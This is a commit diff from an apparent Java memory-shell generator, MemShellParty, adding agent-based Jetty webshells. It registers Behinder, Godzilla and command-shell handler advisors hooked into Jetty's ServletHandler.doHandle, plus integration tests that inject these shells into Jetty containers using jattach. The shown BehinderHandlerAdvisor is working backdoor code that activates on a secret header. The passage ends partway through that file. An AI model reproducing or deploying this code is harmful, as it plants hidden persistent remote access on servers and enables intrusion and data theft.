mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support jetty agent shell (#19)
1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle 2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4
This commit is contained in:
@@ -1,9 +1,13 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
@@ -23,6 +27,7 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public class JettyShell extends AbstractShell {
|
||||
public static final String AGENT_HANDLER = AGENT + "Handler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
@@ -32,7 +37,8 @@ public class JettyShell extends AbstractShell {
|
||||
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
|
||||
AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -44,7 +50,8 @@ public class JettyShell extends AbstractShell {
|
||||
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
|
||||
AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -56,7 +63,8 @@ public class JettyShell extends AbstractShell {
|
||||
FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class),
|
||||
AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
ps -ef | grep "jetty.home" | grep -v grep | awk '{print $2}' | tr -d '\n'
|
||||
@@ -26,6 +26,7 @@ public class ContainerTool {
|
||||
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
|
||||
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh"));
|
||||
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh"));
|
||||
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
|
||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
|
||||
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
|
||||
|
||||
|
||||
+10
-6
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jetty10ContainerTest {
|
||||
public static final String imageName = "jetty:10-jre11-slim";
|
||||
public static final String imageName = "jetty:10-jre11";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -57,8 +59,10 @@ public class Jetty10ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar));
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
@@ -70,6 +74,6 @@ public class Jetty10ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+10
-5
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jetty11ContainerTest {
|
||||
public static final String imageName = "jetty:11-jre11-slim";
|
||||
public static final String imageName = "jetty:11-jre11";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -57,7 +59,10 @@ public class Jetty11ContainerTest {
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -70,6 +75,6 @@ public class Jetty11ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+8
-3
@@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -35,6 +34,8 @@ public class Jetty61ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -58,18 +59,22 @@ public class Jetty61ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+9
-4
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -35,6 +35,8 @@ public class Jetty76ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -57,7 +59,10 @@ public class Jetty76ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -70,6 +75,6 @@ public class Jetty76ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+9
-4
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -35,6 +35,8 @@ public class Jetty81ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -57,7 +59,10 @@ public class Jetty81ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -70,6 +75,6 @@ public class Jetty81ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+9
-4
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +36,8 @@ public class Jetty92ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -58,7 +60,10 @@ public class Jetty92ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -71,6 +76,6 @@ public class Jetty92ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+10
-5
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jetty93ContainerTest {
|
||||
public static final String imageName = "jetty:9.3-jre8-alpine";
|
||||
public static final String imageName = "reajason/jetty:9.3";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -57,7 +59,10 @@ public class Jetty93ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -70,6 +75,6 @@ public class Jetty93ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+11
-5
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -31,10 +31,12 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jetty94ContainerTest {
|
||||
public static final String imageName = "jetty:9.4-jre8-slim";
|
||||
public static final String imageName = "jetty:9.4-jre8";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -57,19 +59,23 @@ public class Jetty94ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
package com.reajason.javaweb.memshell.jetty.behinder;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BehinderHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object res
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
Object response = res;
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField("response");
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field != null) {
|
||||
field.setAccessible(true);
|
||||
response = field.get(response);
|
||||
}
|
||||
obj.put("response", response);
|
||||
